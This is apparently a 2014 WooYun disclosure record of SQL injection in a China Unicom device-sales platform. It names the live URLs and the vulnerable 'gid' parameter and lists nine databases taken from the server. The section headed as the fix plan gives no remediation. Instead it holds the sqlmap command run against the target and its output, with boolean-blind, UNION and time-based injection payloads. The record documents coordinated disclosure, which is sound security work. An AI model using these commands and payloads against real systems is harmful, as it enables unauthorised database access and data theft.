当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075883

漏洞标题:中国联通某平台SQL注入(涉及9个数据库)

相关厂商:中国联通

漏洞作者: 残废

提交时间:2014-09-12 12:22

修复时间:2014-10-27 12:24

公开时间:2014-10-27 12:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-12: 细节已通知厂商并且等待厂商处理中
2014-09-17: 厂商已经确认,细节仅向厂商公开
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

北京联通终端购销平台注入两枚

详细说明:

http://dg.uninx.com:8481/dgpt/endpage.php?gid=87&shopid=4 gid=87
http://dg.uninx.com/dgpt/endpage.php?gid=183&shopid=5 gid=183


漏洞证明:

available databases [9]:
[*] 12316_xncdb
[*] binlog
[*] information_schema
[*] mysql
[*] nxdb
[*] shequdb
[*] test
[*] zddg
[*] zddg0315erqi


修复方案:

[root@Hacker~]# Sqlmap -u "http://dg.uninx.com:8481/dgpt/endpage.php?gid=87&shop
id=4 gid=87" -v 1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:58:19
[10:58:19] [INFO] resuming back-end DBMS 'mysql'
[10:58:19] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: gid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gid=87 AND 4752=4752&shopid=4 gid=87 AND 4752=4752
Type: UNION query
Title: MySQL UNION query (NULL) - 74 columns
Payload: gid=87 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, CONCAT(0x3a6274743a,0x4d52444f6c7846514f43,0x3a7676733a), NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#&shopid=4 gid=87 L
IMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6
274743a,0x4d52444f6c7846514f43,0x3a7676733a), NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: gid=87 AND SLEEP(5)&shopid=4 gid=87 AND SLEEP(5)
---
[10:58:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.5
back-end DBMS: MySQL 5.0.11
[10:58:20] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.

版权声明:转载请注明来源 残废@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-09-17 05:27

厂商回复:

最新状态:

暂无